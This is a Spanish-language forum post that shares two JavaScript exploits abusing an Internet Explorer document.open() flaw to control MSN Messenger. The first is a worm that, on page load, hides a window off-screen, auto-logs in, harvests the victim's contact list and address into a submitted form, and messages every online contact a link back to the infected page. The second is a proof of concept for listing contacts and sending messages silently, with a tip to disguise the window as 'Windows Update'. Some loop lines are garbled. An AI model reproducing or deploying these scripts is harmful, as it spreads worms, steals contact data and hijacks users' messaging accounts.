Hola a todos..bug Msn?

Hay un error q es bastante conocido ahora (y creo q se mencionó en este site) sobre una vulnerabilidad del IE q afecta al MSN messenger q puede ser utilizado por worms para exploitiarlo.
La cuestión es ésta: por medio del IE podés hacer q el MSN envíe un mensaje a toda la lista de usuarios.
Si rumiamos esto, se puede llegar a la simple conclusión: si en el mensaje ése le mandamos el link de ésa misma página infecta, se va a propagar todo el tiempo cada vez q uno vea la página embedded con el lindo exploit! :-D

Obviamente esto es gracias otra vez a la genial invención del javascript (q en realidad lo único q tiene de java es el nombre...).
Acá va el exploit:

[body onload="Go()"]
[script]

var msnWin;
var msnList;
var msgStr = "Visita http://bandaancha.st";
//var msgStr = "[a href="http://bandaancha.st"]Bandaancha.st[/a] YA!";

function Go(){

msnWin = document.open("res://mshtml.dll/blank.htm", "", "fullscreen=1");
msnWin.resizeTo(1, 1);
msnWin.moveTo(10000, 10000);
msnWin.document.title = "Cargando...";
msnWin.document.body.innerHTML = '[object classid="clsid:F3A614DC-ABE0-11d2-A441-00C04F795683" id="msnObj1"][/object][object classid="clsid:FB7199AB-79BF-11d2-8D94-0000F875C541" id="msnObj2"][/object]';
focus();

if (msnWin.msnObj1.localState == 1){
msnWin.msnObj2.autoLogon();
}
Contacts();
Send();
msnWin.close();
document.contents.submit();
}

function Contacts(){
msnList = msnWin.msnObj1.list(0);
document.contents.email.value = msnWin.msnObj1.localLogonName;
document.contents.subject.value = Date();
var msnStr = "[br]";

for (i=0;iif (msnList(i).state >1){
msnStr += "Online Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "[br]";
}

else{
msnStr += "Offline Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "[br]";
}
}
document.contents.contentBox.value = msnStr;
}

function Send(){
for (i=0;iif (msnList(i).state >1){
msnList(i).sendText("MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n", msgStr, 0);
}
}
}

[/script]
------------[Se termina acá]-------------

Hay un parche d microsoft pa'esto, pero la última vez q lo chequié, el parche era defectuoso y estaban preparando otro parche para arreglar el primer parche q solucionaba supuestamente ésto. (ay. ay... microsoft. ¿Hasta donde quieres llegar hoy?... :-P )

PS: Tengan en cuenta q cambié los "><" por "][" (sino no hubiera sido visible, y el script hubiera funcado)

Otro bug q permite el control del messenger ajeno por completo está basado en el IE también: Es por culpa de la vulnerabilidad Document.Open() del IE.
Todo por culpa del hermanito IE... :-P (son de la misma familia, o no?)

El xploit:
[script type="text/javascript"]
/*@cc_on @*/
/*@if (@_jscript_version > 4)@*/
if (!window.showModalDialog)
{
alert("Sorry, this example is IE4+ only.\n\nNon-IE browsers do not have this vulnerability.");
}
else
{
var msnList;
var msnWin;
var msnTimer;
var attemptAutoLogin;
// This is the message to send to users
var msgStr = "Hello, my MSN has just been h4>function msnLoad()
{
alert("I'm about to attempt to load MSN.\n\nIf MSN is not already open, this might take a few seconds.");
msnContainer.innerText = "Loading MSN contacts, please wait...";
// This is the line that causes it all. Instead of calling window.open, we
// call document.open - this gets totally round all IE domain security.
msnWin = document.open("res://mshtml.dll/blank.htm", "", "fullscreen=1");
try
{
alert(msnWin.location.href);
}
catch(errObj)
{
alert("Congratulations, you appear to be patched against this problem.");
msnWin.close();
msnReset();
return false;
}
// Resize and move the new window, so its out of sight
msnWin.resizeTo(1, 1);
msnWin.moveTo(10000, 10000);
// You could change "MSN Test" to something like "Windows Update"
msnWin.document.title = "MSN Test";
// Load the MSN ActiveX controls in the new window
msnWin.document.body.innerHTML = '';
// Get window focus back
focus();
// See if we can contact the ActiveX objects
if (!msnWin.msnObj1)
{
alert("Couldn't make contact with the MSN ActiveX object. You might have your IE security settings changed, or have a patched IE.");
}
// Check if MSN is offline
else if (msnWin.msnObj1.localState == 1)
{
try {
// Attempt to automatically login
msnWin.msnObj2.autoLogon();
} catch (e) {
// Couldn't auto-login, so show the login UI
msnWin.msnObj2.launchLogonUI();
}
// Attept to load the contact list every second
msnTimer = setInterval("try { if (msnWin.msnObj1.localState != 1) { clearInterval(msnTimer); showContacts(); } } catch (e) { msnError(); }", 1000);
}
else
{
// MSN is logged in, all is fine, show the contacts
showContacts();
}
}
function showContacts()
{
try
{
if (msnWin.msnObj1.localState == 1)
{
// MSN is offline, show error message
msnError();
return false;
}
// Set the list object
msnList = msnWin.msnObj1.list(0);
// Print the contact list out
var msnStr = "Online contacts for " + msnWin.msnObj1.localLogonName + ":
";
for (i=0;i 1) msnStr += "Contact " + (i+1) + ": " + msnList(i).FriendlyName + ", state: " + msnList(i).State + ", e-mail: " + msnList(i).LogonName + ' - Send message
';
msnContainer.innerHTML = msnStr + "
Send message to all contacts";
// Set button to close contacts when clicked
msnLoadBtn.innerText = "Close MSN Contacts";
msnLoadBtn.onclick = msnClose;
// Update the contacts in 3 seconds
msnTimer = setTimeout("showContacts()", 3000);
}
catch (e)
{
// There was a problem showing the contacts, show error
msnError();
}
}
function msnError()
{
// Something has gone wrong, abort!
alert("Sorry, there was an error showing the contact list.\n\nYou might have closed the MSN Test window, or been logged out of MSN.\n\nClick the \"Load MSN Contacts\" button to try again.");
msnReset();
}
function msnReset()
{
// Resets everything back to default
clearInterval(msnTimer);
msnWin = null;
msnLoadBtn.innerText = "Load MSN Contacts";
msnLoadBtn.onclick = msnLoad;
msnContainer.innerText = "";
}
function sendMsg(contact, prompt)
{
// Get the user's friendly name
var msnUser = msnList(contact).friendlyName;
// Prompt to send message
if (!prompt || confirm("This will send a nice message to MSN user \"" + msnUser + "\". Continue?"))
{
// This is the line that actually sends the message
msnList(contact).sendText("MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n", msgStr, 0);
// Confirm message has been sent
alert("Message has just been sent to \"" + msnUser + "\".\n\nNo MSN dialogs should have appeared.\n\nThis script could have easily sent the message without\nany interaction from you.");
}
}
function msnSendAll()
{
// Sends a message to all contacts
if (confirm("This will send a nice message to all contacts on your list. Continue?"))
for (var i=0; i}
onload = function()
{
msnLoadBtn.disabled = false;
}
onerror = function()
{
alert("Sorry, there was an error in the script.\n\nThis may well be due to your IE security settings - try resetting them to default and trying again.\n\nAlso please check you are running and logged into MSN, using the official MSN client - *NOT* a 3rd party application such as Trillian.");
}
onunload = function msnClose()
{
// Disable error messages
onerror = function() { return true; }
if (msnWin && !msnWin.closed)
{
// Clear timer, close window, msnReset
clearInterval(msnTimer);
msnWin.close();
msnReset();
}
}
}
/*@else @*/
alert("Sorry, this requires JScript version 5 or better.\n\nIt could be made to work with previous versions, but I'm lazy :D");
/*@end @*/
-->
[/script]

Descubierto por The Pull

Me he intentado autoaplicar los scripts esos y el antivirus no me deja abrirlos con el mensajito de que son worms. Tengo el inoculate actualizadi a fecha de hoy patron V1905.